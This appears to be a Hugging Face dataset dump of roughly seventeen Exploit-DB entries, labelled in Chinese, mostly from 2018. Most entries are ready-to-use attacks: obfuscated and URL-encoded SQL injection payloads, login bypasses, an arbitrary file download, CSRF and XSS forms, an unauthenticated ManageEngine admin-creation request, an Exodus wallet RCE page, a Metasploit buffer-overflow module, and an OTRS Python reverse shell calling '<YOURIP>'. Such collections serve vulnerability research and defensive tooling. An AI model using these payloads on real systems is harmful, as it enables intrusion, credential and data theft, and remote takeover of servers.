QLWD/code_shield huggingface dataset:
标题: TSiteBuilder 1.0 - SQL Injection EDB-ID: 43915 CVE: 2018-6365 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-28 漏洞利用脚本: # # # # # 
# Exploit Title: TSiteBuilder 1.0 - SQL Injection
# Dork: N/A
# Date: 27.01.2018
# Vendor Homepage: http://www.datacomponents.net/
# Software Link: http://www.datacomponents.net/products/website/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php
# 
# User: ' OR 1 -- - Pass: anything
# 
# 2)
# http://localhost/[PATH]/site.php?id=[SQL]
# 
# %2d%33%36%34%27%20%20%2f%2a%21%30%38%38%38%38%55%4e%49%4f%4e%2a%2f%28%2f%2a%21%30%38%38%38%38%53%45%4c%45%43%54%2a%2f%20%30%78%33%30%37%38%33%32%33%38%33%33%33%31%33%32%33%39%2c%30%78%32%38%33%32%32%39%2c%2f%2a%21%30%38%38%38%38%43%4f%4e%43%41%54%5f%57%53%2a%2f%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%30%78%34%39%34%38%35%33%34%31%34%65%32%30%35%33%34%35%34%65%34%33%34%31%34%65%2c%28%2f%2a%21%30%38%38%38%38%53%65%6c%65%63%74%2a%2f%20%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%40%3a%3d%30%2c%28%2f%2a%21%30%38%38%38%38%73%65%6c%65%63%74%2a%2f%20%63%6f%75%6e%74%28%2a%29%2f%2a%21%30%38%38%38%38%66%72%6f%6d%2a%2f%28%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73%29%77%68%65%72%65%40%3a%3d%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%40%2c%2f%2a%21%30%38%38%38%38%74%61%62%6c%65%5f%6e%61%6d%65%2a%2f%2c%30%78%33%63%36%63%36%39%33%65%2c%32%29%2c%2f%2a%21%30%38%38%38%38%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%2a%2f%2c%30%78%61%33%61%2c%32%29%29%2c%40%2c%32%29%29%2c%30%78%33%30%37%38%33%32%33%38%33%33%33%36%33%32%33%39%2c%30%78%32%38%33%37%32%39%2c%30%78%32%38%33%38%32%39%29%2d%2d%20%2d
# 
# 3)
# http://localhost/[PATH]/pagelist.php?id=[SQL]
# 
# 4)
# http://localhost/[PATH]/page_new.php?id=[SQL]
# 
# # # # # URL: https://www.exploit-db.com/exploits/43915
标题: Artifex MuJS 1.0.2 - Integer Overflow EDB-ID: 43904 CVE: 2018-5759 类型: DOS 平台: MULTIPLE 发布日期: 2018-01-28 漏洞利用脚本: # Exploit Title: DoS caused by the interactive call between two functions
# Date: 2018-01-16
# Exploit Author: Andrea Sindoni - @invictus1306
# Vendor: Artifex (https://www.artifex.com/)
# Software Link: https://github.com/ccxvii/mujs
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
# Tested on: Linux
# CVE : CVE-2018-5759

Simple poc:
# python -c "print 'func%d'*80000" > poc.js
# mujs poc.js

Fixed in commit 4d45a96e57fbabf00a7378b337d0ddcace6f38c1 (
http://git.ghostscript.com/?p=mujs.git;a=commit;h=4d45a96e57fbabf00a7378b337d0ddcace6f38c1
) URL: https://www.exploit-db.com/exploits/43904
标题: Joomla! Component Jtag Members Directory 5.3.7 - Arbitrary File Download EDB-ID: 43913 CVE: 2018-6008 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-28 漏洞利用脚本: # # # # #
# Exploit Title: Joomla! Component Jtag Members Directory 5.3.7 - Arbitrary File Download
# Dork: N/A
# Date: 27.01.2018
# Vendor Homepage: https://joomlatag.com/
# Software Link: https://extensions.joomla.org/extensions/extension/clients-a-communities/members-lists/jtag-members-directory/
# Version: 5.3.7
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6008
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker download arbitrary file....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_jtagmembersdirectory&task=attachment&download_file=[FILE]
# 
# # # # # URL: https://www.exploit-db.com/exploits/43913
标题: Artifex MuJS 1.0.2 - Denial of Service EDB-ID: 43903 CVE: 2018-6191 类型: DOS 平台: MULTIPLE 发布日期: 2018-01-28 漏洞利用脚本: Hello,

I want to submit the following bug:

The js_strtod function in jsdtoa.c in Artifex MuJS through 1.0.2 has an
integer overflow because of incorrect exponent validation.

# Exploit Title: Integer signedness error leading to Out-of-bounds read
that causes crash
# Date: 2018-01-24
# Exploit Author: Andrea Sindoni - @invictus1306
# Vendor: Artifex (https://www.artifex.com/)
# Software Link: https://github.com/ccxvii/mujs
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
# Tested on: Linux
# CVE : CVE-2018-6191

Content of the poc file
$ cat poc.js
function pipo() {var 2e2147483648= 117486231123842366;}

Run it
$ mujs poc.js

Additional details about the bug:

Inside the function js_strtod, after this line
https://github.com/ccxvii/mujs/blob/81388eb40d29f10599ac30dde90e683a3c254375/jsdtoa.c#L714

exp = -exp;

the value of "exp" is still negative (cause integer declaration).

Fixed in commit 25821e6d74fab5fcc200fe5e818362e03e114428 (
http://git.ghostscript.com/?p=mujs.git;a=commit;h=25821e6d74fab5fcc200fe5e818362e03e114428
) URL: https://www.exploit-db.com/exploits/43903
标题: Hot Scripts Clone - 'subctid' SQL Injection EDB-ID: 43916 CVE: 2017-17612 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-28 漏洞利用脚本: # # # # # 
# Exploit Title: Hot Scripts Clone Script 1.0 - SQL Injection
# Dork: N/A
# Date: 27.01.2018
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/M72g4502563/php-scripts/hot-scripts-clone-:-script-classified
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/categories?keyword=&mctid=[SQL]&subctid=[SQL]
# 
# -Y12h7890'++/*!08888UNION*/+/*!08888ALL*/+/*!08888SELECT*/+(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2))--+-
#  
# # # # # URL: https://www.exploit-db.com/exploits/43916
标题: Task Rabbit Clone 1.0 - 'id' SQL Injection EDB-ID: 43914 CVE: 2018-6363 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-28 漏洞利用脚本: # # # # # 
# Exploit Title: Task Rabbit Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 27.01.2018
# Vendor Homepage: http://migrateshop.com/
# Software Link: http://migrateshop.com/product/task-rabbit-clone-php-script/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/pages/single_blog.php?id=[SQL]
# 
# %31%20%20%2f%2a%21%31%33%33%33%37%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%31%33%33%33%37%53%45%4c%45%43%54%2a%2f%20%31%2c%76%65%72%73%69%6f%6e%28%29%2c%33%2c%34%2c%35%2c%36%2d%2d%20%2d
# 
# # # # # URL: https://www.exploit-db.com/exploits/43914
标题: Joomla! Component JS Support Ticket 1.1.0 - Cross-Site Request Forgery EDB-ID: 43912 CVE: 2018-6007 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-28 漏洞利用脚本: <!--
# # # # #
# Exploit Title: Joomla! Component JS Support Ticket 1.1.0 - Cross-Site Request Forgery
# Dork: N/A
# Date: 27.01.2018
# Vendor Homepage: http://www.joomsky.com/
# Software Link: https://extensions.joomla.org/extensions/extension/clients-a-communities/help-desk/js-support-ticket/
# Software Download: http://joomsky.com/46/download/1.html
# Version: 1.1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6007
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability implication allows an attacker to inject html code, edit ticket etc..
# 
# Proof of Concept: 
-->

<html>
<body>
 
<form action="http://localhost/[PATH]/index.php" method="POST" enctype="multipart/form-data" name="adminForm" id="adminForm">
<textarea name="message" id="message" cols="60" rows="20" style="width: 550px; height: 300px;">
<p>[CODE]</p>
</textarea><br>
<input type="submit" class="button" name="submit_app" id="submit_app_button" onclick="return validate_form(document.adminForm)" value="Ver Ayari">
<input type="hidden" name="id" id="id" value="1" />
<input type="hidden" name="isoverdue" id="isoverdue" value="0" />
<input type="hidden" name="ticketid" id="ticketid" value="vCP4VTWrwzY" />
<input type="hidden" name="c" id="c" value="ticket" />
<input type="hidden" name="task" id="task" value="saveticket" />
<input type="hidden" name="uid" id="uid" value="521" />
<input type="hidden" name="view" id="view" value="ticket" />
<input type="hidden" name="layout" id="layout" value="formticket" />
<input type="hidden" name="check" id="check" value="" />
<input type="hidden" name="option" id="option" value="com_jssupportticket" />
<input type="hidden" name="created" id="created" value="2018-01-27 11:46:58"/>
<input type="hidden" name="update" id="update" value=""/>
</form>

</body>
</html> URL: https://www.exploit-db.com/exploits/43912
标题: Exodus Wallet (ElectronJS Framework) - Remote Code Execution EDB-ID: 43899 CVE: 2018-1000006 类型: REMOTE 平台: WINDOWS 发布日期: 2018-01-25 漏洞利用脚本: <!doctype html>
<script>
  window.location = 'exodus://aaaaaaaaa" --gpu-launcher="cmd" --aaaaa='
</script> URL: https://www.exploit-db.com/exploits/43899
标题: GetSimple CMS 3.3.1 - Cross-Site Scripting EDB-ID: 43888 CVE: 2014-1603 类型: WEBAPPS 平台: PHP 发布日期: 2014-10-12 漏洞利用脚本: PoC for XSS bugs in the admin console of GetSimple CMS 3.3.1
CVE-2014-1603
by Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security
Disclosure: 12/05/2014 / Last updated: 12/10/2014

Timeline:
 04/11/2013 - Found bugs, produced proof of concept.
 05/11/2013 - Communicated to the developer, which acknowledged receipt.
 10/01/2014 - Politely asked the developer for progress, no response.
 17/01/2014 - Received CVE number from MITRE.
 20/01/2014 - Communicated CVE number to the developer, no response.
 29/01/2014 - Politely asked the developer for progress, no response.
 12/05/2014 - Public release.
==============================

Reflected XSS in plugin load page:
 http://192.168.56.101/getsimple/admin/load.php?id=anonymous_data&param="><script>alert(1)</script>

Persistent XSS in settings page:
 <form name="input" action="http://192.168.56.101/getsimple/admin/settings.php" method="post">
 <input type="text" name="user" value=""><script>alert(1);</script>">
 <input type="text" name="email" value=""><script>alert(2);</script>">
 <input type="text" name="name" value=""><script>alert(3);</script>">
 <input type="hidden" name="submitted" value="Save Settings">
 <input type="submit" value="Submit">
 </form>


================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >> URL: https://www.exploit-db.com/exploits/43888
标题: ManageEngine Desktop Central - Create Administrator EDB-ID: 43892 CVE: 2014-7862 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2015-01-15 漏洞利用脚本: >> Administrator account creation in ManageEngine Desktop Central / Desktop Central MSP
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
=================================================================================
Disclosure: 31/12/2014 / Last updated: 05/01/2015

>> Background on the affected product:
"Desktop Central is an integrated desktop & mobile device management software that helps in managing the servers, laptops, desktops, smartphones and tablets from a central point. It automates your regular desktop management routines like installing patches, distributing software, managing your IT Assets, managing software licenses, monitoring software usage statistics, managing USB device usage, taking control of remote desktops, and more."

This vulnerability is being released as a 0day since ManageEngine failed to take action after 112 days. See timeline for details.

>> Technical details:
Vulnerability: Administrator account creation (unauthenticated)
CVE-2014-7862
Constraints: none; no authentication or any other information needed
Affected versions: all versions from v7 onwards

GET /servlets/DCPluginServelet?action=addPlugInUser&role=DCAdmin&userName=dcpwn&email=bla@bla.com&phNumber=123456&password=8fR%2bRoOURmY0EXsX%2bCmung%3d=&salt=1401192012599&createdtime=1337

This creates a new administrator user "dcpwn" with the password "admin". You can now execute code on all devices managed by Desktop Central!
A Metasploit auxiliary module that exploits this vulnerability has been released.

>> Fix: 
(updated 05/01/2015) Upgrade to version 9.0 build 90109 or later.

This vulnerability was initially disclosed on 31/12/2014 as a 0-day, as ManageEngine failed to take action after 112 days.

Timeline of disclosure:
11/09/2014:
- Vulnerability information sent to Romanus, Desktop Central project manager.

23/09/2014:
- Requested an update. Received reply "My development team is working on this to provide a fix. Let me check this and update you the status."

17/10/2014
- Requested an update. Received reply on the 19th "Due to festive season here i'm unable to get the update. Let me find this and update you by Monday."

30/10/2014
- Requested an update. Received reply "The development and testing of the reported part should get over in another 3 weeks and when it is ready for release build I'll send it for testing."

23/11/2014
- Requested an update. Received reply on the 24th "I was traveling hence couldn't give you an update.  It should get released by next week or early second week. I'll send you an update on this."

15/12/2014
- Requested an update. Received reply on the 18th "it has been handled from the Desktop Central side and awaiting for the release".

31/12/2014
- Released information and exploit 112 days after initial disclosure.

================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >> URL: https://www.exploit-db.com/exploits/43892
标题: Flexible Poll 1.2 - SQL Injection EDB-ID: 43869 CVE: 2018-5988 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-23 漏洞利用脚本: # # # # # 
# Exploit Title: Flexible Poll 1.2 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://ddywpro.com/
# Software Link: https://codecanyon.net/item/flexible-poll/4363114
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5988
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?id=[SQL]
# 
# 2)
# http://localhost/[PATH]/mobile_preview.php?id=[SQL]
# 
# -714'+UniOn+SElecT+(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),2,3,4,5--+-
# 
# # # # # URL: https://www.exploit-db.com/exploits/43869
标题: Professional Local Directory Script 1.0 - SQL Injection EDB-ID: 43870 CVE: 2018-5973 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-24 漏洞利用脚本: # # # # # 
# Exploit Title: Professional Local Directory Script 1.0 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://www.eihitech.com/
# Software Link: http://www.eihitech.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5973
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/sellers_subcategories.php?IndustryID=[SQL]
# 
# -105++/*!08888uNiOn*/(/*!08888SelECt*/+0x3078323833313239,0x283229,0x283329,0x283429,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),0x283629,0x283729)--+-
# 
# 2)
# http://localhost/[PATH]/suppliers.php?IndustryID=[SQL]&CategoryID=[SQL]
# 
# # # # # URL: https://www.exploit-db.com/exploits/43870
标题: Sync Breeze Enterprise 9.5.16 - 'Import Command' Buffer Overflow (Metasploit) EDB-ID: 43875 CVE: 2017-7310 类型: LOCAL 平台: WINDOWS 发布日期: 2018-01-24 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow',
      'Description'     => %q(
        This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16
        by using the import command option to import a specially crafted xml file.
      ),
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Daniel Teixeira'
        ],
      'References'      =>
        [
          [ 'CVE', '2017-7310' ],
          [ 'EDB', '41773' ]
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => 'true'
        },
      'Platform'        => 'win',
      'Payload'         =>
        {
          'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27",
          'StackAdjustment' => -3500
        },
      'Targets'         =>
        [
          ['Windows Universal', { 'Ret' => 0x10015FFE } ]
        ],
      'Privileged'      => false,
      'DisclosureDate'  => 'Mar 29 2017',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
      ])
  end

  def exploit
    jmpesp = "\x7A\xB7\x1B\x65" # JMP ESP QtGui4.dll
    esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76]
    jmp = "\xFF\xE0" # JMP ESP

    buffer =  "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"
    buffer << "\x90" * 1536
    buffer << jmpesp
    buffer << "\x90" * 18
    buffer << esp
    buffer << jmp
    buffer << "\x90" * 68
    buffer << generate_seh_record(target.ret)
    buffer << "\x90" * 10
    buffer << payload.encoded
    buffer << "\x90" * 5000
    buffer << "\n</classify>"

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buffer)
  end
end URL: https://www.exploit-db.com/exploits/43875
标题: Tumder 2.1 - SQL Injection EDB-ID: 43866 CVE: 2018-5984 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-23 漏洞利用脚本: # # # # # 
# Exploit Title: Tumder - An Arcade Games Platform 2.1 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://sndr.co.ve/
# Software Link: https://codecanyon.net/item/tumder-an-arcade-games-platform/18726994
# Version: 2.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5984
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/category/[SQL]
# 
# %2d%33%20%20%2f%2a%21%30%31%31%31%31%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%30%31%31%31%31%41%4c%4c%2a%2f%20%2f%2a%21%30%31%31%31%31%53%45%4c%45%43%54%2a%2f%20%30%78%33%31%2c%30%78%33%32%2c%43%4f%4e%43%41%54%28%44%61%74%61%62%61%73%65%28%29%2c%56%45%52%53%49%4f%4e%28%29%2c%30%78%37%65%2c%44%41%54%41%42%41%53%45%28%29%2c%30%78%37%65%2c%55%53%45%52%28%29%29%2d%2d%20%2d
# 
# # # # # URL: https://www.exploit-db.com/exploits/43866
标题: Zechat 1.5 - SQL Injection EDB-ID: 43865 CVE: 2018-5978 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-23 漏洞利用脚本: # # # # # 
# Exploit Title: Facebook Style Php Ajax Chat - Zechat 1.5 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://bylancer.com/
# Software Link: https://codecanyon.net/item/facebook-style-php-ajax-chat-zechat/16491266
# Version: 1.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5978
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/login.php
# 
# User: ' UNION ALL SELECT 0x31,0x32,0x33,concat(0x63)-- A
# Pass: anything
# 
# # # # # URL: https://www.exploit-db.com/exploits/43865
标题: OTRS 5.0.x/6.0.x - Remote Command Execution (1) EDB-ID: 43853 CVE: 2017-16921 类型: WEBAPPS 平台: PERL 发布日期: 2018-01-21 漏洞利用脚本: # Exploit Title: OTRS 5.0.x/6.0.x - Remote Command Execution (1) 
# Date: 21-01-2018
# Exploit Author: Bæln0rn
# Vendor Homepage: https://www.otrs.com/
# Software Link: http://ftp.otrs.org/pub/otrs/
# Version: 4.0.1 - 4.0.26, 5.0.0 - 5.0.24, 6.0.0 - 6.0.1
# Tested on: OTRS 5.0.2/CentOS 7.2.1511
# CVE : CVE-2017-16921

CVE-2017-16921: 
"In OTRS 6.0.x up to and including 6.0.1, OTRS 5.0.x up to and including 5.0.24, and OTRS 4.0.x up to and including 4.0.26, an attacker who is logged into OTRS as an agent can manipulate form parameters (related to PGP) and execute arbitrary shell commands with the permissions of the OTRS or web server user."

OTRS 5.0.2 PoC:
1. Authenticate to an agent account. <path>/index.pl

2. Open "Admin" tab. <path>/index.pl?Action=Admin

3. Open "SysConfig" link. <path>/index.pl?Action=AdminSysConfig

4. Find the "Crypt:PGP" subgroup. <path>/index.pl?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt%3A%3APGP;SysConfigGroup=Framework

5. Manipulate form parameters and use "Update" button to save:

"PGP"
-Default: No
-New: Yes

"PGP::Bin"
-Default: /usr/bin/gpg 
-New: <shell command including executables the webserver user has execute permissions for, no options>
-PoC (Reverse Python Shell): /usr/bin/python

"PGP::Options"
-Default: --homedir /opt/otrs/.gnupg/ --batch --no-tty --yes
-New: <any command options>
-PoC (Reverse Python Shell): -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOURIP>",<YOURLISTENINGPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

6. Open "Admin" tab. <path>/index.pl?Action=Admin

7. Open "PGP Keys" to execute saved command.  <path>/index.pl?Action=AdminPGP

Behavior will vary based on commands. The above PoC opened a stable, no TTY, reverse shell under the "apache" user. The page eventually timed out with a 502 error, but the web application seems otherwise unaffected.  Killing the shell before timeout advances the web application to the proper "PGP Management" page. The exploit can be repeated unlimited times with step #7 above. URL: https://www.exploit-db.com/exploits/43853
标题: LiveCRM SaaS Cloud 1.0 - SQL Injection EDB-ID: 43860 CVE: 2018-5985 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-23 漏洞利用脚本: # # # # # 
# Exploit Title: LiveCRM SaaS Cloud 1.0 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://livecrm.co/
# Software Link: https://codecanyon.net/item/livecrm-saas-cloud-cloud-based-open-source-complete-business-management-solution-crm/21219419
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5985
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/livecrm/web/index.php?r=site/login&company_id=[SQL]
# 
# %31%20%4f%52%20%31%20%47%52%4f%55%50%20%42%59%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%33%61%2c%56%45%52%53%49%4f%4e%28%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%20%48%41%56%49%4e%47%20%4d%49%4e%28%30%29%20%4f%52%20%31
# 
# # # # # URL: https://www.exploit-db.com/exploits/43860